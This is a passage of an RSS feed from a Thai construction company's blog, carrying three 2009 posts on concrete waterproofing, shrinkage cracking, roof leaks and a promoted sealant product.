			<wfw:commentRss>http://www.repconservice.com/blog/crack-repair/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95-crack-repair/feed</wfw:commentRss>
		</item>
		<item>
		<title>ความสำคัญระบบ Waterproofing</title>
		<link>http://www.repconservice.com/blog/waterproofing/%e0%b8%84%e0%b8%a7%e0%b8%b2%e0%b8%a1%e0%b8%aa%e0%b8%b3%e0%b8%84%e0%b8%b1%e0%b8%8d%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%9a-waterproofing</link>
		<comments>http://www.repconservice.com/blog/waterproofing/%e0%b8%84%e0%b8%a7%e0%b8%b2%e0%b8%a1%e0%b8%aa%e0%b8%b3%e0%b8%84%e0%b8%b1%e0%b8%8d%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%9a-waterproofing#comments</comments>
		<pubDate>Sun, 22 Mar 2009 16:44:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Waterproofing]]></category>

		<guid isPermaLink="false">http://www.repconservice.com/blog/?p=109</guid>
		<description><![CDATA[การ Waterproofing พื้นคอนกรีตสำหรับงานบนชั้นดาดฟ้านั้น โดยปกติแล้วจะผสมน้ำยา Waterproofing เพื่อกันซึมลงไปในพื้นคอนกรีต ซึ่งมันเป็นเพียงแค่น้ำยา Waterproofing ในส่วนผสม ทำให้ W/C หรือที่นิยมเรียกว่า &#8220;อัตราส่วนน้ำต่อซีเมนต์&#8221; ต่ำ
ทำให้ความแน่นของการ Waterproofing คอนกรีตมีความสูงขึ้น แต่การจี้ลงไปในส่วนของสั่นคอนกรีตในระหว่างการก่อสร้างอาคารนั้น อาจทำให้เกิดโพรงโหญ่ในเนื้อคอนกรีตเกิดขึ้นได้ และอัตราส่วนของน้ำ ทำให้เกิดความสามารถรั่วซึม ผ่านโพรงรูปแบบนี้ได้

น้ำยากันซึม Waterproofing ที่ช่างปูนมักจะนิยมเรียกกันอย่างติดปากเลยก็ คือ น้ำยาผสมคอนกรีตแบบประเภทลดน้ำประเภท A (ตามมาตรฐาน ASTM C494-82) สามารถลดน้ำได้สูงสุดถึงประมาณ 8-15 % นั่นหมายถึงว่า เราสามารถใส่น้ำเพื่อผสมคอนกรีตลดลงได้อีก เช่น จากเดิมลดลงได้ 8 % แต่ความลื่นไหลของตัวคอนกรีตยังคงเท่าเดิมนั่นเอง
เมื่อเราทำการเทคอนกรีตลงไปแล้ว ธรรมชาติของตัวคอนกรีตนั้น มักจะเกิดการแตก หรือรอยร้าว อันเนื่องมาจากการหดตัวของคอนกรีตนั้นเอง อาการนี้มีชื่อเรียกว่า &#8220;Plastic Shrinkage&#8221; ปัญหานี้เกิดมาจากการสูญเสียน้ำในปริมาณมาก ในระหว่างการแข็งตัวหรือการเซ็ตตัวของคอนกรีต และยังสามารถเกิดการรั่วซึมได้อีกในอนาคตอันใกล้
ในระหว่างที่เราทำการเทคอนกรีตที่ใส่น้ำยากันซึม Waterproofing ลงไปนั้น อาจทำให้เกิดอาการ “รอยเยิ้มที่ผิวคอนกรีต” ซึ่งอาการนี้มักจะเกิดขึ้นบ่อยเป็นปกติ แต่จะเกิดขึ้นมากหรือน้อยนั้น [...]]]></description>
			<content:encoded><![CDATA[<p>การ <a title="Waterproofing" href="http://www.repconservice.com/project5.html">Waterproofing</a> พื้นคอนกรีตสำหรับงานบนชั้นดาดฟ้านั้น โดยปกติแล้วจะผสมน้ำยา <a href="http://www.repconservice.com/blog/tag/waterproofing" class="st_tag internal_tag" rel="tag" title="Posts tagged with Waterproofing">Waterproofing</a> เพื่อกันซึมลงไปในพื้นคอนกรีต ซึ่งมันเป็นเพียงแค่น้ำยา <a href="http://www.repconservice.com/blog/tag/waterproofing" class="st_tag internal_tag" rel="tag" title="Posts tagged with Waterproofing">Waterproofing</a> ในส่วนผสม ทำให้ W/C หรือที่นิยมเรียกว่า &#8220;อัตราส่วนน้ำต่อซีเมนต์&#8221; ต่ำ<br />
ทำให้ความแน่นของการ <a title="Waterproofing" href="http://www.repconservice.com/project5.html">Waterproofing</a> คอนกรีตมีความสูงขึ้น แต่การจี้ลงไปในส่วนของสั่นคอนกรีตในระหว่างการก่อสร้างอาคารนั้น อาจทำให้เกิดโพรงโหญ่ในเนื้อคอนกรีตเกิดขึ้นได้ และอัตราส่วนของน้ำ ทำให้เกิดความสามารถรั่วซึม ผ่านโพรงรูปแบบนี้ได้</p>
<p><span id="more-109"></span><br />
น้ำยากันซึม <a href="http://www.repconservice.com/blog/tag/waterproofing" class="st_tag internal_tag" rel="tag" title="Posts tagged with Waterproofing">Waterproofing</a> ที่ช่างปูนมักจะนิยมเรียกกันอย่างติดปากเลยก็ คือ น้ำยาผสมคอนกรีตแบบประเภทลดน้ำประเภท A (ตามมาตรฐาน ASTM C494-82) สามารถลดน้ำได้สูงสุดถึงประมาณ 8-15 % นั่นหมายถึงว่า เราสามารถใส่น้ำเพื่อผสมคอนกรีตลดลงได้อีก เช่น จากเดิมลดลงได้ 8 % แต่ความลื่นไหลของตัวคอนกรีตยังคงเท่าเดิมนั่นเอง<br />
เมื่อเราทำการเทคอนกรีตลงไปแล้ว ธรรมชาติของตัวคอนกรีตนั้น มักจะเกิดการแตก หรือรอยร้าว อันเนื่องมาจากการหดตัวของคอนกรีตนั้นเอง อาการนี้มีชื่อเรียกว่า &#8220;Plastic Shrinkage&#8221; ปัญหานี้เกิดมาจากการสูญเสียน้ำในปริมาณมาก ในระหว่างการแข็งตัวหรือการเซ็ตตัวของคอนกรีต และยังสามารถเกิดการรั่วซึมได้อีกในอนาคตอันใกล้<br />
ในระหว่างที่เราทำการเทคอนกรีตที่ใส่น้ำยากันซึม <a title="Waterproofing" href="http://www.repconservice.com/project5.html">Waterproofing</a> ลงไปนั้น อาจทำให้เกิดอาการ “รอยเยิ้มที่ผิวคอนกรีต” ซึ่งอาการนี้มักจะเกิดขึ้นบ่อยเป็นปกติ แต่จะเกิดขึ้นมากหรือน้อยนั้น มักจะขึ้นอยู่กับปริมาณของน้ำที่เราเอาไปใช้ในการผสมเป็นคอนกรีตออกมา<br />
ซึ่งเมื่อคอนกรีตแข็งตัวแล้วนั้น ส่วนที่เกิดอาการเยิ้มนี้มักจะหลุดร่อนออกมาเป็นฝุ่นฟุ้ง และเกิดเป็นหลุมเป็นบ่อในที่สุด และหากเป็นหลุมบ่อที่สามารถมีน้ำขังได้นั้น เมื่อวันเวลาผ่านไปนานเข้าน้ำที่ขังไว้ก็ สามารถรั่วซึมลงมาในชั้นคอนกรีตได้</p>
<p style="text-align: center;"><object width="425" height="344" data="http://www.youtube.com/v/_mY1EHGAqmk&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/_mY1EHGAqmk&amp;hl=en&amp;fs=1" /><param name="allowfullscreen" value="true" /></object></p>
<p>เมื่อคอนกรีตเกิดการแข็งตัวสบบูรณ์แล้ว ธรรมชาติของคอนกรีตก็จะมีการหดตัวไปอีกครั้งหนึ่ง เรียกได้ว่าอาการ &#8220;Drying Shrinkage&#8221; ซึ่งการหดตัวด้วยรูปแบบคอนกรีตขณะแห้งนี้ จะสามารถทำให้เกิดรอยแตกร้าว และน้ำก็สามารถรั่วซึมลงไปในคอนกรีตในอนาคตได้<br />
ปกติแล้วนั้นธรรมชาติคอนกรีตโดยทั่วไปนั้น จะมีคุณสมบัติสามารถดูดซึมน้ำ <a title="Waterproofing" href="http://www.repconservice.com/project5.html">Waterproofing</a> ดีในระดับหนึ่งได้ และหากมีน้ำขังอยู่ในส่วนของพื้นบนชั้นดาดฟ้า ในกรณีท่อระบายน้ำบนชั้นดาดฟ้าเกิดอาการอุดตันหรือ กรณีดาดฟ้าออกแบบมาให้มีความลาดเอียงน้อย จนทำให้เกิดการระบายน้ำได้ไม่สะดวกเท่าที่ควร น้ำก็สามารถรั่วซึมลงมาได้</p>
<p><img class="aligncenter" title="waterproofing" src="http://www.ferret.com.au/odin/images/162090/High-grade-waterproofing-linings-from-Rhino-162090.jpg" alt="" width="640" height="480" /></p>
<p>หากเกิดการสั่นสะเทือนของตัวอาคารอย่างรุณแรง โดยในส่วนของเฉพาะบริเวณใกล้เส้นทางสัญจรของถนน หรืออาคารสำหรับจอดรถ จะสามารถเกิดมีรอยแตกร้าวโครงสร้างได้อย่างชัดเจน อาการนี้มักจะนิยมเรียกกันอย่างเสมอว่า &#8220;<a href="http://www.repconservice.com/blog/tag/waterproofing" class="st_tag internal_tag" rel="tag" title="Posts tagged with Waterproofing">Waterproofing</a> Structural <a href="http://www.repconservice.com/blog/tag/crack" class="st_tag internal_tag" rel="tag" title="Posts tagged with crack">Crack</a>&#8221; ทำให้น้ำก็สามารถรั่วซึมเข้ามาในตัวอาคารได้เช่นกัน<br />
ในส่วนของชั้นดาดฟ้า ที่จะต้องสัมผัสกับสภาพอากาศร้อนเกือบทั้งวันจากแสงแดด และสภาพอากาศที่เย็นตัวลงในตอนกลางคืน สภาวะอากาศอย่างนี้ล้วนแล้วแต่ส่งผลให้ <a title="Waterproofing" href="http://www.repconservice.com/project5.html">Waterproofing</a> พื้นผิวคอนกรีตสามารถเกิดอาการแตกร้าว น้ำก็สามารถรั่วซึมเข้ามาในชั้นคอนกรีตได้<br />
ในส่วนของรอยต่อของตัวโครงสร้าง เช่นส่วนรอยต่อของพื้นคอนกรีตกับผนังคอนกรีตปูนฉาบ หรือแม้แต่ผนังแผ่นสำเร็จรูป รอยต่อต่างๆเหล่านี้ของท่อระบายน้ำฝน กับพื้นคอนกรีตในชั้นดาดฟ้าเป็นรอยต่อที่สามารถทำให้เกิดปัญหาน้ำสามารถรั่วซึมเข้ามาได้</p>
<p><strong>Related Links<br />
</strong><span style="color: #b85b5a;"><a title="Waterproofing" rel="nofollow" href="../../project5.html">Waterproofing</a></span></p>

	<h4>Related posts</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.repconservice.com/blog/waterproofing/waterproofing-%e0%b8%ad%e0%b8%b2%e0%b8%84%e0%b8%b2%e0%b8%a3" title="Waterproofing อาคาร (March 22, 2009)">Waterproofing อาคาร</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.repconservice.com/blog/waterproofing/%e0%b8%84%e0%b8%a7%e0%b8%b2%e0%b8%a1%e0%b8%aa%e0%b8%b3%e0%b8%84%e0%b8%b1%e0%b8%8d%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%9a-waterproofing/feed</wfw:commentRss>
		</item>
		<item>
		<title>Waterproofing อาคาร</title>
		<link>http://www.repconservice.com/blog/waterproofing/waterproofing-%e0%b8%ad%e0%b8%b2%e0%b8%84%e0%b8%b2%e0%b8%a3</link>
		<comments>http://www.repconservice.com/blog/waterproofing/waterproofing-%e0%b8%ad%e0%b8%b2%e0%b8%84%e0%b8%b2%e0%b8%a3#comments</comments>
		<pubDate>Sun, 22 Mar 2009 10:14:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Waterproofing]]></category>

		<guid isPermaLink="false">http://www.repconservice.com/blog/?p=101</guid>
		<description><![CDATA[หากว่าเราให้ความสำคัญและออกแบบวางแผน Waterproofing ไว้มากเท่าไหร่ เราก็จะได้โครงสร้างอาคารที่มีความสวยงามไปอีกนานนับสิบๆปี ปัจจุบันนี้นั้น Waterproofing ได้เป็นที่ยอมรับและนำมาติดตั้งใช้งานกันอย่างแพร่หลายมากขึ้น
โดยเฉพาะงานก่อสร้างในอาคารที่มีความสูง แม้แต่ในการก่อสร้างโรงพยาบาล โรงแรมที่พัก อาคารมหาวิทยาลัย อาคารสำนักงานและอื่นๆ เนื่องจากเราล้วนได้รับบทเรียนมาจากในอดีต ที่เจ้าของอาคาร ได้รับผลกระทบจากปัญหาการรั่วซึม
หากเรามีการออกแบบอาคารที่ไม่สามารถจะมาคุ้มแดดคุ้มฝนได้ดีตลอดไป วัสดุที่ใช้ตกแต่งภายในหรือแม้แต่การออกแบบโครงสร้างคอนกรีตแบบเสริมเหล็ก ก็มีโอกาสที่จะเสื่อมสภาพอย่างยิ่ง และจะนำพามาซึ่งความเสียหายต่อตัวอาคารและเกิดอันตรายอย่างยิ่งในการใช้งานในอนาคตได้


ที่ผ่านมา มีอาคารหลายโครงการ ต่างก็ประสบความล้มเหลวในปัญหาการออกแบบ Waterproofing เพราะยังคงมีน้ำไหลรั่วซึมตามรอยแตกแยกคอนกรีตของอาคาร หรือแม้แต่รอยเชื่อมต่อการก่อสร้าง และรอยต่อต่างๆของตัวอาคาร
จนทำให้อาคารที่ได้รับการออกแบบมาอย่างดี ไม่สามารถใช้งานต่อไปอีกได้ และส่งผลโดยตรงกับเหล็กเสริมความแข็งแรงภายในคอนกรีตของตัวอาคาร บางแห่งอาจจะจำเป็นต้องมีการเสียงบประมาณในการซ่อมแซมแก้ไขปัญหารั่วซึมนี้สูงมาก

อาคารบางแห่งก็ต้องออกแบบหลังคาใหม่ มาครอบคลุมหลังคาตัวเดิมที่เกิดปัญหารั่วซึม ทำให้แลดูไม่สวยงาม แต่บางแห่งกลับต้องมีการทุบรื้อก่อสร้างอาคารกันใหม่ทั้งหลัง และนี่คือข้อมูลทั่วๆไปที่จะทำให้เห็นความสำคัญของการออกแบบและป้อมกันปัญหาที่เกิดจาก Waterproofing
ซึ่งสามารถตอบสนองได้ตามความต้องการของผู้ใช้อาคาร ในด้านความคงทนนั้น ไม่เพียงแต่องค์โครงสร้างเพียงอย่างเดียว หากแต่จะหมายถึงความสวยงามของอาคารและการเกิดประโยชน์ใช้สอยได้ดีตามมาด้วย
Related Links
Waterproofing

	Related posts
	
	ความสำคัญระบบ Waterproofing (0)


]]></description>
			<content:encoded><![CDATA[<p>หากว่าเราให้ความสำคัญและออกแบบวางแผน <a title="Waterproofing" href="http://www.repconservice.com/project5.html">Waterproofing</a> ไว้มากเท่าไหร่ เราก็จะได้โครงสร้างอาคารที่มีความสวยงามไปอีกนานนับสิบๆปี ปัจจุบันนี้นั้น <a title="Waterproofing" href="http://www.repconservice.com/project5.html">Waterproofing</a> ได้เป็นที่ยอมรับและนำมาติดตั้งใช้งานกันอย่างแพร่หลายมากขึ้น<br />
โดยเฉพาะงานก่อสร้างในอาคารที่มีความสูง แม้แต่ในการก่อสร้างโรงพยาบาล โรงแรมที่พัก อาคารมหาวิทยาลัย อาคารสำนักงานและอื่นๆ เนื่องจากเราล้วนได้รับบทเรียนมาจากในอดีต ที่เจ้าของอาคาร ได้รับผลกระทบจากปัญหาการรั่วซึม<br />
หากเรามีการออกแบบอาคารที่ไม่สามารถจะมาคุ้มแดดคุ้มฝนได้ดีตลอดไป วัสดุที่ใช้ตกแต่งภายในหรือแม้แต่การออกแบบโครงสร้างคอนกรีตแบบเสริมเหล็ก ก็มีโอกาสที่จะเสื่อมสภาพอย่างยิ่ง และจะนำพามาซึ่งความเสียหายต่อตัวอาคารและเกิดอันตรายอย่างยิ่งในการใช้งานในอนาคตได้</p>
<p><span id="more-101"></span></p>
<p style="text-align: center;"><object width="425" height="344" data="http://www.youtube.com/v/JIiPxyyaBTU&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/JIiPxyyaBTU&amp;hl=en&amp;fs=1" /><param name="allowfullscreen" value="true" /></object></p>
<p>ที่ผ่านมา มีอาคารหลายโครงการ ต่างก็ประสบความล้มเหลวในปัญหาการออกแบบ <a title="Waterproofing" href="http://www.repconservice.com/project5.html">Waterproofing</a> เพราะยังคงมีน้ำไหลรั่วซึมตามรอยแตกแยกคอนกรีตของอาคาร หรือแม้แต่รอยเชื่อมต่อการก่อสร้าง และรอยต่อต่างๆของตัวอาคาร<br />
จนทำให้อาคารที่ได้รับการออกแบบมาอย่างดี ไม่สามารถใช้งานต่อไปอีกได้ และส่งผลโดยตรงกับเหล็กเสริมความแข็งแรงภายในคอนกรีตของตัวอาคาร บางแห่งอาจจะจำเป็นต้องมีการเสียงบประมาณในการซ่อมแซมแก้ไขปัญหารั่วซึมนี้สูงมาก</p>
<p style="text-align: center;"><img class="alignnone" title="Waterproofing" src="http://www.nationalwaterproofing.ca/images/waterproofing13787.jpg" alt="" width="444" height="439" /></p>
<p>อาคารบางแห่งก็ต้องออกแบบหลังคาใหม่ มาครอบคลุมหลังคาตัวเดิมที่เกิดปัญหารั่วซึม ทำให้แลดูไม่สวยงาม แต่บางแห่งกลับต้องมีการทุบรื้อก่อสร้างอาคารกันใหม่ทั้งหลัง และนี่คือข้อมูลทั่วๆไปที่จะทำให้เห็นความสำคัญของการออกแบบและป้อมกันปัญหาที่เกิดจาก <a title="Waterproofing" href="http://www.repconservice.com/project5.html">Waterproofing</a><br />
ซึ่งสามารถตอบสนองได้ตามความต้องการของผู้ใช้อาคาร ในด้านความคงทนนั้น ไม่เพียงแต่องค์โครงสร้างเพียงอย่างเดียว หากแต่จะหมายถึงความสวยงามของอาคารและการเกิดประโยชน์ใช้สอยได้ดีตามมาด้วย</p>
<p><strong>Related Links<br />
</strong><span style="color: #b85b5a;"><a title="Waterproofing" rel="nofollow" href="http://www.repconservice.com/project5.html">Waterproofing</a></span></p>

	<h4>Related posts</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.repconservice.com/blog/waterproofing/%e0%b8%84%e0%b8%a7%e0%b8%b2%e0%b8%a1%e0%b8%aa%e0%b8%b3%e0%b8%84%e0%b8%b1%e0%b8%8d%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%9a-waterproofing" title="ความสำคัญระบบ Waterproofing (March 22, 2009)">ความสำคัญระบบ Waterproofing</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.repconservice.com/blog/waterproofing/waterproofing-%e0%b8%ad%e0%b8%b2%e0%b8%84%e0%b8%b2%e0%b8%a3/feed</wfw:commentRss>
		</item>
		<item>
		<title>การแก้ไขระบบกันซึม</title>
		<link>http://www.repconservice.com/blog/%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%9a%e0%b8%81%e0%b8%b1%e0%b8%99%e0%b8%8b%e0%b8%b6%e0%b8%a1/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b9%81%e0%b8%81%e0%b9%89%e0%b9%84%e0%b8%82%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%9a%e0%b8%81%e0%b8%b1%e0%b8%99%e0%b8%8b%e0%b8%b6%e0%b8%a1</link>
		<comments>http://www.repconservice.com/blog/%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%9a%e0%b8%81%e0%b8%b1%e0%b8%99%e0%b8%8b%e0%b8%b6%e0%b8%a1/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b9%81%e0%b8%81%e0%b9%89%e0%b9%84%e0%b8%82%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%9a%e0%b8%81%e0%b8%b1%e0%b8%99%e0%b8%8b%e0%b8%b6%e0%b8%a1#comments</comments>
		<pubDate>Sat, 21 Mar 2009 02:13:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[ระบบกันซึม]]></category>

		<category><![CDATA[กันซึม]]></category>

		<category><![CDATA[ซึม]]></category>

		<category><![CDATA[ระบบ]]></category>

		<guid isPermaLink="false">http://www.repconservice.com/blog/?p=95</guid>
		<description><![CDATA[แก้ปัญหาไขปัญหาอาการหลังการติดตั้งระบบกันซึม บริเวณภายในอาคาร รวมไปถึงบริเวณที่เกิดจากการซ่อมแซมหลังคา ผนังกำแพง ชั้นดาดฟ้า ด้วยทีมงานผู้เชี่ยวชาญในการออกแบบระบบ
Super Peak-Seal นับได้ได้ว่าเป็นวัสดุกันซึมที่จะประกอบไปด้วยสาร &#8220;อะครีลิคโคโพลีเมอร์&#8221; ที่มีความยืดหยุ่นสูงมากกว่าสารอื่นๆ ที่เป็นสารกันซึมชนิดทาหรือชนิดพ่น
มีแผ่น &#8220;โพลิเอสเตอร์&#8221; เอาไว้เสริมความแข็งแรงให้กับระบบงานอีกชั้น เพื่อที่จะเอาไว้ใช้ในการออกแบบระบบป้องกันหรือสำหรับไว้เพื่อการแก้ไขปัญหารั่วซึมบนหลังคาเป็นหลัก


รวมไปถึงชั้นส่วนผนังกำแพงคอนกรีตของอาคาร เช่นในส่วนดาดฟ้าที่เกิดการแตกร้าวจากการรั่วซึม หลังคาคอนกรีตแตกร้าวตามแนวบริเวนสันหลัง และฝาครอบแตกร้าว
ในส่วนของบริเวณรอยต่อหลังคาลงมาถึงกับกำแพงผนังอาคาร ให้ใช้การทาหรือพ่นสารกันซึมกระเบื้องที่ร้าว สามารถป้องกันไม่ให้น้ำรั่วซึมผ่านได้ถึง 100% เต็มตลอดอายุการให้งานยาวนาน พร้อมบริการรับประกัน

วัตถุประสงค์ใช้งานหลักของระบบกันซึม หลักๆแล้วมีไว้เพื่อใช้เป็นสารทาเคลือบป้องกัน การเกิดการรั่วซึมสำหรับโครงสร้างในส่วนต่างๆ เหมาะอย่างยิ่งหากนำไปใช้งานกับพื้นผิววัสดุได้หลากหลายชนิด
รวมทั้งในส่วนดาดฟ้าคอนกรีตและผนังคอนกรีต ซึ่งจะประกอบไปด้วยสารหลักๆในการใช้กันซึม นั้นก็คือสารเมทัลชีท / สังกะสี ที่ทำมาจากกระเบื้องซีเมนต์ใยหิน และกระเบื้องโมเนีย และอีกสารพัด
Related Links
ระบบกันซึม

	Related posts
	
	เปรียบเทียบระบบกันซึม (0)
	วิธีการแก้ไขผนังรั่วซึม (0)
	ผนังรั่วซึม (0)
	การแก้ไขปัญหาผนังรั่วซึม (0)


]]></description>
			<content:encoded><![CDATA[<p>แก้ปัญหาไขปัญหาอาการหลังการติดตั้ง<a title="ระบบกันซึม" href="http://www.repconservice.com/waterproof-project5.html">ระบบกันซึม</a> บริเวณภายในอาคาร รวมไปถึงบริเวณที่เกิดจากการซ่อมแซมหลังคา ผนังกำแพง ชั้นดาดฟ้า ด้วยทีมงานผู้เชี่ยวชาญในการออกแบบระบบ<br />
Super Peak-Seal นับได้ได้ว่าเป็นวัสดุ<a title="ระบบกันซึม" href="http://www.repconservice.com/waterproof-project5.html">กันซึม</a>ที่จะประกอบไปด้วยสาร &#8220;อะครีลิคโคโพลีเมอร์&#8221; ที่มีความยืดหยุ่นสูงมากกว่าสารอื่นๆ ที่เป็นสารกันซึมชนิดทาหรือชนิดพ่น<br />
มีแผ่น &#8220;โพลิเอสเตอร์&#8221; เอาไว้เสริมความแข็งแรงให้กับระบบงานอีกชั้น เพื่อที่จะเอาไว้ใช้ในการออกแบบ<a title="ระบบกันซึม" href="http://www.repconservice.com/waterproof-project5.html">ระบบ</a>ป้องกันหรือสำหรับไว้เพื่อการแก้ไขปัญหารั่ว<a title="ระบบกันซึม" href="http://www.repconservice.com/waterproof-project5.html">ซึม</a>บนหลังคาเป็นหลัก</p>
<p><span id="more-95"></span></p>
<p style="text-align: center;"><object width="425" height="344" data="http://www.youtube.com/v/enCONWmCevM&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/enCONWmCevM&amp;hl=en&amp;fs=1" /><param name="allowfullscreen" value="true" /></object></p>
<p>รวมไปถึงชั้นส่วนผนังกำแพงคอนกรีตของอาคาร เช่นในส่วนดาดฟ้าที่เกิดการแตกร้าวจากการรั่ว<a title="ระบบกันซึม" href="http://www.repconservice.com/waterproof-project5.html">ซึม</a> หลังคาคอนกรีตแตกร้าวตามแนวบริเวนสันหลัง และฝาครอบแตกร้าว<br />
ในส่วนของบริเวณรอยต่อหลังคาลงมาถึงกับกำแพงผนังอาคาร ให้ใช้การทาหรือพ่นสาร<a title="ระบบกันซึม" href="http://www.repconservice.com/waterproof-project5.html">กันซึม</a>กระเบื้องที่ร้าว สามารถป้องกันไม่ให้น้ำรั่วซึมผ่านได้ถึง 100% เต็มตลอดอายุการให้งานยาวนาน พร้อมบริการรับประกัน</p>
<p><img class="aligncenter" title="ระบบกันซึม" src="http://www.wepaint.co.nz/gallery/Waterproofing/slides/Xypex%20Waterproof%20system%20Christchurch%20Airport%20carpark%20roof..jpg" alt="" width="500" height="333" /></p>
<p>วัตถุประสงค์ใช้งานหลักของ<a title="ระบบกันซึม" href="http://www.repconservice.com/waterproof-project5.html">ระบบกันซึม</a> หลักๆแล้วมีไว้เพื่อใช้เป็นสารทาเคลือบป้องกัน การเกิดการรั่วซึมสำหรับโครงสร้างในส่วนต่างๆ เหมาะอย่างยิ่งหากนำไปใช้งานกับพื้นผิววัสดุได้หลากหลายชนิด<br />
รวมทั้งในส่วนดาดฟ้าคอนกรีตและผนังคอนกรีต ซึ่งจะประกอบไปด้วยสารหลักๆในการใช้<a title="ระบบกันซึม" href="http://www.repconservice.com/waterproof-project5.html">กันซึม</a> นั้นก็คือสารเมทัลชีท / สังกะสี ที่ทำมาจากกระเบื้องซีเมนต์ใยหิน และกระเบื้องโมเนีย และอีกสารพัด</p>
<p><strong>Related Links<br />
</strong><span style="color: #b85b5a;"><a title="ระบบกันซึม" rel="nofollow" href="../../waterproof-project5.html">ระบบกันซึม</a></span></p>

	<h4>Related posts</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.repconservice.com/blog/%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%9a%e0%b8%81%e0%b8%b1%e0%b8%99%e0%b8%8b%e0%b8%b6%e0%b8%a1/%e0%b9%80%e0%b8%9b%e0%b8%a3%e0%b8%b5%e0%b8%a2%e0%b8%9a%e0%b9%80%e0%b8%97%e0%b8%b5%e0%b8%a2%e0%b8%9a%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%9a%e0%b8%81%e0%b8%b1%e0%b8%99%e0%b8%8b%e0%b8%b6%e0%b8%a1" title="เปรียบเทียบระบบกันซึม (March 16, 2009)">เปรียบเทียบระบบกันซึม</a> (0)</li>
	<li><a href="http://www.repconservice.com/blog/%e0%b8%9c%e0%b8%99%e0%b8%b1%e0%b8%87%e0%b8%a3%e0%b8%b1%e0%b9%88%e0%b8%a7%e0%b8%8b%e0%b8%b6%e0%b8%a1/%e0%b9%81%e0%b8%81%e0%b9%89%e0%b9%84%e0%b8%82%e0%b8%9c%e0%b8%99%e0%b8%b1%e0%b8%87%e0%b8%a3%e0%b8%b1%e0%b9%88%e0%b8%a7%e0%b8%8b%e0%b8%b6%e0%b8%a1" title="วิธีการแก้ไขผนังรั่วซึม (March 16, 2009)">วิธีการแก้ไขผนังรั่วซึม</a> (0)</li>
	<li><a href="http://www.repconservice.com/blog/%e0%b8%9c%e0%b8%99%e0%b8%b1%e0%b8%87%e0%b8%a3%e0%b8%b1%e0%b9%88%e0%b8%a7%e0%b8%8b%e0%b8%b6%e0%b8%a1/%e0%b8%9c%e0%b8%99%e0%b8%b1%e0%b8%87%e0%b8%a3%e0%b8%b1%e0%b9%88%e0%b8%a7%e0%b8%8b%e0%b8%b6%e0%b8%a1" title="ผนังรั่วซึม (March 16, 2009)">ผนังรั่วซึม</a> (0)</li>
	<li><a href="http://www.repconservice.com/blog/%e0%b8%9c%e0%b8%99%e0%b8%b1%e0%b8%87%e0%b8%a3%e0%b8%b1%e0%b9%88%e0%b8%a7%e0%b8%8b%e0%b8%b6%e0%b8%a1/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b9%81%e0%b8%81%e0%b9%89%e0%b9%84%e0%b8%82%e0%b8%9b%e0%b8%b1%e0%b8%8d%e0%b8%ab%e0%b8%b2%e0%b8%81%e0%b8%b3%e0%b9%81%e0%b8%9e%e0%b8%87%e0%b8%a3%e0%b8%b1%e0%b9%88%e0%b8%a7" title="การแก้ไขปัญหาผนังรั่วซึม (March 16, 2009)">การแก้ไขปัญหาผนังรั่วซึม</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.repconservice.com/blog/%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%9a%e0%b8%81%e0%b8%b1%e0%b8%99%e0%b8%8b%e0%b8%b6%e0%b8%a1/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b9%81%e0%b8%81%e0%b9%89%e0%b9%84%e0%b8%82%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%9a%e0%b8%81%e0%b8%b1%e0%b8%99%e0%b8%8b%e0%b8%b6%e0%b8%a1/feed</wfw:commentRss>
		</item>
		<item>
		<title>เปรียบเทียบระบบกันซึม</title>
		<link>http://www.repconservice.com/blog/%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%9a%e0%b8%81%e0%b8%b1%e0%b8%99%e0%b8%8b%e0%b8%b6%e0%b8%a1/%e0%b9%80%e0%b8%9b%e0%b8%a3%e0%b8%b5%e0%b8%a2%e0%b8%9a%e0%b9%80%e0%b8%97%e0%b8%b5%e0%b8%a2%e0%b8%9a%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%9a%e0%b8%81%e0%b8%b1%e0%b8%99%e0%b8%8b%e0%b8%b6%e0%b8%a1</link>
